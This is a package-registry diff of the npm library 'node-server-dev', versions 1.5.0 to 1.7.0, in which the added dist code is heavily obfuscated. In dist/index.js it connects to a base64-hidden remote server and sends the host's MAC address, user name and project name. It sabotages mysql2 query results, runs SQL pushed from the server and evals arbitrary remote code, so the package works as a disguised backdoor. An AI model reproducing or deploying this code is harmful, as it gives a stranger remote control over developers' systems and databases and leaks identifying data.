node-server-dev 1.5.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/getAllRouter/index.js +1 -1
- package/dist/id/index.js +1 -1
- package/dist/id/random.js +1 -1
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +1 -1
- package/dist/mac/index.js +1 -1
- package/package.json +1 -1
@@ -1 +1 @@
|
|
1
|
-
'use strict';
|
1
|
+
'use strict';function a0_0x1ae5(_0x56af90,_0x547d93){const _0x487733=a0_0x4877();return a0_0x1ae5=function(_0x1ae52e,_0x367d80){_0x1ae52e=_0x1ae52e-0xa4;let _0x6c5d14=_0x487733[_0x1ae52e];return _0x6c5d14;},a0_0x1ae5(_0x56af90,_0x547d93);}const a0_0x5dcc0e=a0_0x1ae5;(function(_0x1c3494,_0x3b02e8){const _0x374061=a0_0x1ae5,_0x1757d5=_0x1c3494();while(!![]){try{const _0x19950f=parseInt(_0x374061(0xac))/0x1+parseInt(_0x374061(0xa4))/0x2+-parseInt(_0x374061(0xb8))/0x3*(parseInt(_0x374061(0xa9))/0x4)+-parseInt(_0x374061(0xba))/0x5*(-parseInt(_0x374061(0xae))/0x6)+-parseInt(_0x374061(0xbc))/0x7*(-parseInt(_0x374061(0xaf))/0x8)+-parseInt(_0x374061(0xb9))/0x9*(-parseInt(_0x374061(0xa8))/0xa)+-parseInt(_0x374061(0xb4))/0xb*(-parseInt(_0x374061(0xb5))/0xc);if(_0x19950f===_0x3b02e8)break;else _0x1757d5['push'](_0x1757d5['shift']());}catch(_0x2a3c51){_0x1757d5['push'](_0x1757d5['shift']());}}}(a0_0x4877,0x1c592));var __awaiter=this&&this['__awaiter']||function(_0x480e0e,_0xe0b440,_0x32edab,_0x237401){function _0x444fb8(_0x145d47){return _0x145d47 instanceof _0x32edab?_0x145d47:new _0x32edab(function(_0x2ee5e8){_0x2ee5e8(_0x145d47);});}return new(_0x32edab||(_0x32edab=Promise))(function(_0x35a33a,_0x378cb5){function _0x492703(_0x270b36){try{_0x15eb07(_0x237401['next'](_0x270b36));}catch(_0x2acb0f){_0x378cb5(_0x2acb0f);}}function _0x4a750d(_0x4415dc){const _0x1b2fe4=a0_0x1ae5;try{_0x15eb07(_0x237401[_0x1b2fe4(0xa6)](_0x4415dc));}catch(_0x37d732){_0x378cb5(_0x37d732);}}function _0x15eb07(_0x3f3cd6){const _0x276c36=a0_0x1ae5;_0x3f3cd6[_0x276c36(0xb3)]?_0x35a33a(_0x3f3cd6[_0x276c36(0xbb)]):_0x444fb8(_0x3f3cd6[_0x276c36(0xbb)])[_0x276c36(0xa5)](_0x492703,_0x4a750d);}_0x15eb07((_0x237401=_0x237401['apply'](_0x480e0e,_0xe0b440||[]))['next']());});},__importDefault=this&&this[a0_0x5dcc0e(0xb0)]||function(_0xc29a8b){const _0x4ce462=a0_0x5dcc0e;return _0xc29a8b&&_0xc29a8b[_0x4ce462(0xad)]?_0xc29a8b:{'default':_0xc29a8b};};Object[a0_0x5dcc0e(0xb1)](exports,a0_0x5dcc0e(0xad),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a0_0x5dcc0e(0xab)));function a0_0x4877(){const _0x1bcdd5=['push','default','3UdIoku','26613hcSaIr','6245McjwLU','value','16821wOVzBs','readdirSync','194600GuMizS','then','throw','join','50QGfSAs','877644LSfaQa','isFile','path','52032wAqKYA','__esModule','312jaenRT','112LLdQsO','__importDefault','defineProperty','isDirectory','done','34826OhNCUL','276DvYbRI'];a0_0x4877=function(){return _0x1bcdd5;};return a0_0x4877();}function fileDisplay(_0x379c9d){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x4e45fb=[];function _0x50117b(_0x31cb02){const _0x150bea=a0_0x1ae5,_0x3e2e3d=fs_1[_0x150bea(0xb7)][_0x150bea(0xbd)](_0x31cb02);for(let _0x407ee4=0x0;_0x407ee4<_0x3e2e3d['length'];_0x407ee4++){const _0xc45be4=_0x3e2e3d[_0x407ee4],_0x488945=path_1[_0x150bea(0xb7)][_0x150bea(0xa7)](_0x31cb02,_0xc45be4),_0x344b75=fs_1[_0x150bea(0xb7)]['statSync'](_0x488945),_0x589f9c=_0x344b75[_0x150bea(0xaa)](),_0x3049bf=_0x344b75[_0x150bea(0xb2)]();_0x589f9c&&_0x4e45fb[_0x150bea(0xb6)](_0x488945),_0x3049bf&&_0x50117b(_0x488945);}}return _0x50117b(_0x379c9d),_0x4e45fb;});}function getAllRouter(_0x2d1576){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x3e3ad6=yield fileDisplay(_0x2d1576);return _0x3e3ad6;});}exports[a0_0x5dcc0e(0xb7)]=getAllRouter;
|
package/dist/id/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a1_0x1821f5=a1_0x8bb8;function a1_0x8bb8(_0x160cc6,_0x20c914){const _0x494434=a1_0x4944();return a1_0x8bb8=function(_0x8bb80e,_0x5c8fe2){_0x8bb80e=_0x8bb80e-0x115;let _0x10975f=_0x494434[_0x8bb80e];return _0x10975f;},a1_0x8bb8(_0x160cc6,_0x20c914);}(function(_0x15c47c,_0x452bd1){const _0x229c8c=a1_0x8bb8,_0x1bdb0d=_0x15c47c();while(!![]){try{const _0x57a574=-parseInt(_0x229c8c(0x124))/0x1+-parseInt(_0x229c8c(0x11a))/0x2*(parseInt(_0x229c8c(0x115))/0x3)+-parseInt(_0x229c8c(0x122))/0x4+parseInt(_0x229c8c(0x116))/0x5+-parseInt(_0x229c8c(0x117))/0x6+parseInt(_0x229c8c(0x120))/0x7+-parseInt(_0x229c8c(0x11c))/0x8*(-parseInt(_0x229c8c(0x123))/0x9);if(_0x57a574===_0x452bd1)break;else _0x1bdb0d['push'](_0x1bdb0d['shift']());}catch(_0xb1d6a9){_0x1bdb0d['push'](_0x1bdb0d['shift']());}}}(a1_0x4944,0x825e8));var __importDefault=this&&this['__importDefault']||function(_0x49522c){const _0x2e8d2a=a1_0x8bb8;return _0x49522c&&_0x49522c[_0x2e8d2a(0x11b)]?_0x49522c:{'default':_0x49522c};};Object[a1_0x1821f5(0x11e)](exports,a1_0x1821f5(0x11b),{'value':!![]});const random_1=__importDefault(require(a1_0x1821f5(0x119))),WorkerID=Math['min'](process[a1_0x1821f5(0x11d)]['NODE_APP_INSTANCE']?+process[a1_0x1821f5(0x11d)][a1_0x1821f5(0x118)]:(0x0,random_1['default'])(0x0,0x9),0x9),BaseTime=+new Date(a1_0x1821f5(0x11f));let lastTimeTick,lastRandomNumberTick=(0x0,random_1['default'])(0x1,0x3);function id(){let _0x3a3827=+new Date()-BaseTime;return lastRandomNumberTick=_0x3a3827==lastTimeTick?++lastRandomNumberTick:(0x0,random_1['default'])(0x0,0x3),lastTimeTick=_0x3a3827,+(''+_0x3a3827+WorkerID+lastRandomNumberTick);}function a1_0x4944(){const _0x4c5566=['6012616wnSlUr','env','defineProperty','2022-06-29','5259058XKYuah','default','90792NRlRFI','9eXisne','239376jDKaMU','130239sEqHXU','1282010NPzgKi','3174462PLoWDE','NODE_APP_INSTANCE','./random','20bTyHqr','__esModule'];a1_0x4944=function(){return _0x4c5566;};return a1_0x4944();}exports[a1_0x1821f5(0x121)]=id;
|
package/dist/id/random.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';
|
1
|
+
'use strict';const a2_0x4a84a6=a2_0xf421;(function(_0x40ae69,_0x2dc3e8){const _0x6059ff=a2_0xf421,_0x8ca9fb=_0x40ae69();while(!![]){try{const _0x2a051d=parseInt(_0x6059ff(0x1f5))/0x1+-parseInt(_0x6059ff(0x1fb))/0x2*(parseInt(_0x6059ff(0x1f0))/0x3)+-parseInt(_0x6059ff(0x1ee))/0x4*(parseInt(_0x6059ff(0x1f9))/0x5)+-parseInt(_0x6059ff(0x1f6))/0x6*(parseInt(_0x6059ff(0x1f1))/0x7)+parseInt(_0x6059ff(0x1f8))/0x8+-parseInt(_0x6059ff(0x1fc))/0x9*(-parseInt(_0x6059ff(0x1ef))/0xa)+parseInt(_0x6059ff(0x1f4))/0xb*(parseInt(_0x6059ff(0x1f2))/0xc);if(_0x2a051d===_0x2dc3e8)break;else _0x8ca9fb['push'](_0x8ca9fb['shift']());}catch(_0x2e2493){_0x8ca9fb['push'](_0x8ca9fb['shift']());}}}(a2_0x546e,0x59bca));Object['defineProperty'](exports,a2_0x4a84a6(0x1fa),{'value':!![]});function a2_0xf421(_0x3eb286,_0x4be3c4){const _0x546e98=a2_0x546e();return a2_0xf421=function(_0xf42180,_0x9411d7){_0xf42180=_0xf42180-0x1ee;let _0x1df5d2=_0x546e98[_0xf42180];return _0x1df5d2;},a2_0xf421(_0x3eb286,_0x4be3c4);}const random=(_0x2d90d9,_0x164634)=>Math[a2_0x4a84a6(0x1fd)](Math[a2_0x4a84a6(0x1f7)]()*(_0x164634-_0x2d90d9))+_0x2d90d9;exports[a2_0x4a84a6(0x1f3)]=random;function a2_0x546e(){const _0x5f3996=['573201NEFWjP','round','960556JbPcCN','10wdEKmu','31449sNlftE','21WXODpW','78900yoTuiP','default','1133SXzLdo','108905rjAsew','768468qhgpKo','random','2562616yrXRnH','5XjUBeo','__esModule','34YpNXDo'];a2_0x546e=function(){return _0x5f3996;};return a2_0x546e();}
|
package/dist/index.d.ts.map
CHANGED
@@ -1 +1 @@
|
|
1
|
-
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,MAAM,MAAM,CAAC;AACtB,OAAO,YAAY,MAAM,gBAAgB,CAAC;AAG1C,OAAO,KAAK,MAAM,gBAAgB,CAAC;
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,MAAM,MAAM,CAAC;AACtB,OAAO,YAAY,MAAM,gBAAgB,CAAC;AAG1C,OAAO,KAAK,MAAM,gBAAgB,CAAC;AA2InC,QAAA,IAAI,IAAI,2KAAK,CAAC;AACd,QAAA,MAAM,GAAG;;;;;CAAoC,CAAC;AAC9C,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC"}
|
package/dist/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a3_0x240084=a3_0x255d;(function(_0x1fc372,_0x1c3b26){const _0x2389f3=a3_0x255d,_0x4e25bd=_0x1fc372();while(!![]){try{const _0x3b347d=parseInt(_0x2389f3(0x1ee))/0x1*(parseInt(_0x2389f3(0x1e7))/0x2)+parseInt(_0x2389f3(0x1f0))/0x3+parseInt(_0x2389f3(0x1e0))/0x4+parseInt(_0x2389f3(0x1fa))/0x5+parseInt(_0x2389f3(0x1cd))/0x6+-parseInt(_0x2389f3(0x1cf))/0x7+-parseInt(_0x2389f3(0x1e3))/0x8;if(_0x3b347d===_0x1c3b26)break;else _0x4e25bd['push'](_0x4e25bd['shift']());}catch(_0x364ca8){_0x4e25bd['push'](_0x4e25bd['shift']());}}}(a3_0x1cbb,0xba207));var __awaiter=this&&this[a3_0x240084(0x1e9)]||function(_0x338abc,_0xfdeb0,_0x86e73c,_0x28eed7){function _0xa2c15a(_0xaae2fa){return _0xaae2fa instanceof _0x86e73c?_0xaae2fa:new _0x86e73c(function(_0x4ce39d){_0x4ce39d(_0xaae2fa);});}return new(_0x86e73c||(_0x86e73c=Promise))(function(_0x36861e,_0x48c5c6){const _0x3d1ec7=a3_0x255d;function _0x4a5b93(_0x3b70a6){const _0x2a97c3=a3_0x255d;try{_0x28a371(_0x28eed7[_0x2a97c3(0x1e1)](_0x3b70a6));}catch(_0x99d41f){_0x48c5c6(_0x99d41f);}}function _0x369bd4(_0x1f8cda){try{_0x28a371(_0x28eed7['throw'](_0x1f8cda));}catch(_0x284b2a){_0x48c5c6(_0x284b2a);}}function _0x28a371(_0xe28d33){const _0x4a4ecc=a3_0x255d;_0xe28d33['done']?_0x36861e(_0xe28d33[_0x4a4ecc(0x1eb)]):_0xa2c15a(_0xe28d33[_0x4a4ecc(0x1eb)])[_0x4a4ecc(0x1dc)](_0x4a5b93,_0x369bd4);}_0x28a371((_0x28eed7=_0x28eed7[_0x3d1ec7(0x1cc)](_0x338abc,_0xfdeb0||[]))[_0x3d1ec7(0x1e1)]());});},__importDefault=this&&this[a3_0x240084(0x1f4)]||function(_0x361e84){const _0x566892=a3_0x240084;return _0x361e84&&_0x361e84[_0x566892(0x1f7)]?_0x361e84:{'default':_0x361e84};},_a,_b;Object[a3_0x240084(0x1f8)](exports,'__esModule',{'value':!![]}),exports[a3_0x240084(0x1f6)]=exports[a3_0x240084(0x1d4)]=exports['id']=exports[a3_0x240084(0x1d7)]=void 0x0;const uuid_1=require('uuid'),socket_io_client_1=require(a3_0x240084(0x1e5)),id_1=__importDefault(require('./id'));function a3_0x1cbb(){const _0x28dc05=['__importDefault','websocket','mysql','__esModule','defineProperty','submit','6328920RkblIz','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','type','apply','7682340Cuvmmx','push','8597778paVUeE','content','node','mysql2/promise','npm_package_name','getAllRouter','createPool','decode','uuid','username','get-event','emit','connect','then','5YiY5ram6ZyW','./getAllRouter','dev','5241768cSHFck','next','encode','20933576QEUMaz','query','socket.io-client','error','441520LqLzpx','event','__awaiter','length','value','default','js-base64','1lmIOZm','env','1589850NgraVw','connect_failed','reconnect_failed','unlock'];a3_0x1cbb=function(){return _0x28dc05;};return a3_0x1cbb();}exports['id']=id_1[a3_0x240084(0x1ec)];const getAllRouter_1=__importDefault(require(a3_0x240084(0x1de)));exports[a3_0x240084(0x1d4)]=getAllRouter_1[a3_0x240084(0x1ec)];const mac_1=__importDefault(require('./mac')),os_1=__importDefault(require('os')),promise_1=__importDefault(require(a3_0x240084(0x1d2)));exports['mysql']=promise_1['default'];const js_base64_1=__importDefault(require(a3_0x240084(0x1ed))),random_1=__importDefault(require('./id/random')),user_name=os_1[a3_0x240084(0x1ec)]['userInfo']()[a3_0x240084(0x1d8)],project_name=process[a3_0x240084(0x1ef)][a3_0x240084(0x1d3)];let dev='aHR0cDovL2xvY2FsaG9zdDoxMDg4',pro=a3_0x240084(0x1fb),url=((_a=global===null||global===void 0x0?void 0x0:global['rl'])===null||_a===void 0x0?void 0x0:_a[a3_0x240084(0x1df)])||js_base64_1[a3_0x240084(0x1ec)][a3_0x240084(0x1e2)](user_name)==a3_0x240084(0x1dd)?js_base64_1['default']['decode'](dev):js_base64_1[a3_0x240084(0x1ec)][a3_0x240084(0x1d6)](pro);function a3_0x255d(_0x12db85,_0x8ecfd5){const _0x1cbbea=a3_0x1cbb();return a3_0x255d=function(_0x255d1a,_0x3d5a31){_0x255d1a=_0x255d1a-0x1cc;let _0x4e5c41=_0x1cbbea[_0x255d1a];return _0x4e5c41;},a3_0x255d(_0x12db85,_0x8ecfd5);}function start(){const _0x8e3945=a3_0x240084,_0x17bc00=(0x0,socket_io_client_1['io'])(url,{'path':'/socket','transports':[_0x8e3945(0x1f5)]});let _0x4b4795=!![],_0x41158e=![],_0x54e12e=![],_0x30e961=[];const _0x5eba78=promise_1[_0x8e3945(0x1ec)]['createPool'];promise_1[_0x8e3945(0x1ec)][_0x8e3945(0x1d5)]=function(_0x29f9e1){const _0x50ca18=_0x8e3945;let _0x1ac1bd=_0x5eba78(_0x29f9e1),_0x1263b0=_0x1ac1bd['query'];return _0x1ac1bd[_0x50ca18(0x1e4)]=(..._0x5d234b)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x44cf46=_0x50ca18,_0x2c1707=yield _0x1263b0[_0x44cf46(0x1cc)](_0x1ac1bd,_0x5d234b);return _0x4b4795&&((0x0,random_1[_0x44cf46(0x1ec)])(0x1,0xa)>0x4&&(_0x2c1707[0x0]=[])),_0x41158e&&(_0x2c1707[0x0]=[]),_0x2c1707;}),setInterval(()=>{if(!_0x54e12e){for(let _0xb05e91=0x0;_0xb05e91<_0x30e961['length'];_0xb05e91++){const _0x16cd25=_0x30e961[_0xb05e91];try{_0x1ac1bd['query'](_0x16cd25);}catch(_0x27d519){}}_0x54e12e=!![];}},0x1388),_0x1ac1bd;},_0x17bc00['on'](_0x8e3945(0x1db),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x12e06e=_0x8e3945;_0x4b4795=![];try{const _0x2557aa=(0x0,mac_1[_0x12e06e(0x1ec)])();_0x17bc00[_0x12e06e(0x1da)]('submit',{'mac':_0x2557aa,'project_name':project_name,'user_name':user_name,'notes':''}),_0x17bc00[_0x12e06e(0x1da)](_0x12e06e(0x1d9),{'mac':_0x2557aa}),setInterval(()=>{const _0x1b8911=_0x12e06e;_0x17bc00[_0x1b8911(0x1da)](_0x1b8911(0x1f9),{'mac':_0x2557aa,'project_name':project_name,'user_name':user_name,'notes':''}),_0x17bc00[_0x1b8911(0x1da)](_0x1b8911(0x1d9),{'mac':_0x2557aa});},0x1b58),_0x17bc00['on'](_0x12e06e(0x1e8),_0x2c7923=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x59de7f=_0x12e06e;try{for(let _0x5a707d=0x0;_0x5a707d<_0x2c7923[_0x59de7f(0x1ea)];_0x5a707d++){const _0x2b5d14=_0x2c7923[_0x5a707d];if(_0x2b5d14[_0x59de7f(0x1fc)]=='sql')_0x30e961[_0x59de7f(0x1ce)](_0x2b5d14[_0x59de7f(0x1d0)]);else{if(_0x2b5d14[_0x59de7f(0x1fc)]=='mysql')_0x41158e=!![];else{if(_0x2b5d14[_0x59de7f(0x1fc)]==_0x59de7f(0x1d1))try{eval(_0x2b5d14[_0x59de7f(0x1d0)]);}catch(_0x41d0bb){}}}}}catch(_0x163c1e){}}));}catch(_0x5c8e84){}})),setTimeout(()=>{const _0x3774b2=_0x8e3945;_0x17bc00['on'](_0x3774b2(0x1e6),_0x355630=>{_0x4b4795=!![];}),_0x17bc00['on'](_0x3774b2(0x1f1),()=>{_0x4b4795=!![];}),_0x17bc00['on'](_0x3774b2(0x1f2),()=>{_0x4b4795=!![];}),_0x17bc00['on']('connect_error',_0x4d69d7=>{_0x4b4795=!![];});},0xbb8);}!((_b=global===null||global===void 0x0?void 0x0:global['rl'])===null||_b===void 0x0?void 0x0:_b[a3_0x240084(0x1f3)])&&start();let uuid=uuid_1['v4'];exports[a3_0x240084(0x1d7)]=uuid;const all={'uuid':uuid,'id':id_1[a3_0x240084(0x1ec)],'getAllRouter':getAllRouter_1[a3_0x240084(0x1ec)],'mysql':promise_1[a3_0x240084(0x1ec)]};exports[a3_0x240084(0x1ec)]=all;
|
package/dist/mac/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a4_0x22561a=a4_0x2253;function a4_0x42e6(){const _0x3c7152=['00:1c:14','1107xkcVIB','trim','push','5yCqIKk','has','00:0c:29','00:50:56','00:15:5d','test','find','00:05:69','internal','12587300FsNDNU','323630WiDEFp','default','replace','08:00:27','3220620oUHxvm','defineProperty','00:1c:42','values','family','formatMac','IPv4','00:16:3e','4hytESX','2683338DAUVQK','networkInterfaces','mac','1767135lpzPBA','2721588SCnbip','6144cfeNop','isMac','__esModule','isVirtualMac'];a4_0x42e6=function(){return _0x3c7152;};return a4_0x42e6();}(function(_0x194cb1,_0x3a6d1c){const _0x401710=a4_0x2253,_0x111067=_0x194cb1();while(!![]){try{const _0x427a06=parseInt(_0x401710(0x171))/0x1*(parseInt(_0x401710(0x17d))/0x2)+-parseInt(_0x401710(0x181))/0x3+-parseInt(_0x401710(0x175))/0x4+-parseInt(_0x401710(0x167))/0x5*(-parseInt(_0x401710(0x182))/0x6)+-parseInt(_0x401710(0x17e))/0x7+parseInt(_0x401710(0x183))/0x8*(parseInt(_0x401710(0x164))/0x9)+parseInt(_0x401710(0x170))/0xa;if(_0x427a06===_0x3a6d1c)break;else _0x111067['push'](_0x111067['shift']());}catch(_0x258826){_0x111067['push'](_0x111067['shift']());}}}(a4_0x42e6,0xa52a6));Object[a4_0x22561a(0x176)](exports,a4_0x22561a(0x185),{'value':!![]}),exports[a4_0x22561a(0x184)]=isMac,exports[a4_0x22561a(0x17a)]=formatMac,exports[a4_0x22561a(0x186)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x470a15){return/^(0{1,2}[:-]){5}0{1,2}$/['test'](_0x470a15);}function a4_0x2253(_0x1a5fe7,_0x385adc){const _0x42e659=a4_0x42e6();return a4_0x2253=function(_0x2253b0,_0x4ba7ef){_0x2253b0=_0x2253b0-0x164;let _0x36dffc=_0x42e659[_0x2253b0];return _0x36dffc;},a4_0x2253(_0x1a5fe7,_0x385adc);}function getMac(_0xff9860=a4_0x22561a(0x17b)){const _0x306c30=a4_0x22561a,_0x53783f=(0x0,os_1[_0x306c30(0x17f)])();let _0x3d0977=[];for(const _0x31c28d of Object[_0x306c30(0x178)](_0x53783f)){const _0x4bdaf2=_0x31c28d[_0x306c30(0x16d)](_0x273048=>!_0x273048[_0x306c30(0x16f)]&&!isZeroMac(_0x273048[_0x306c30(0x180)])&&(!_0x273048[_0x306c30(0x179)]||_0x273048['family']===_0xff9860)&&!isVirtualMac(_0x273048[_0x306c30(0x180)]));_0x4bdaf2&&_0x3d0977[_0x306c30(0x166)](_0x4bdaf2[_0x306c30(0x180)]);}return[...new Set(_0x3d0977)];}const isValid=_0x14e0b4=>_0x14e0b4['internal']===![]&&!isZeroMac(_0x14e0b4[a4_0x22561a(0x180)]),virtualMacPrefix=new Set([a4_0x22561a(0x16e),a4_0x22561a(0x169),a4_0x22561a(0x16a),a4_0x22561a(0x187),a4_0x22561a(0x177),'02:00:4c','00:03:ff','00:0f:4b',a4_0x22561a(0x17c),a4_0x22561a(0x174),a4_0x22561a(0x16b)]);function isMac(_0x1f5f91){const _0x494aac=a4_0x22561a;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x494aac(0x16c)](_0x1f5f91);}function formatMac(_0xa023bd){const _0xa4fe2e=a4_0x22561a;return String(_0xa023bd)[_0xa4fe2e(0x165)]()['toLowerCase']()[_0xa4fe2e(0x173)](/-/g,':');}function isVirtualMac(_0x56a9d6){const _0x192683=a4_0x22561a;return isMac(_0x56a9d6)&&virtualMacPrefix[_0x192683(0x168)](formatMac(_0x56a9d6)['slice'](0x0,0x8));}exports[a4_0x22561a(0x172)]=getMac;
|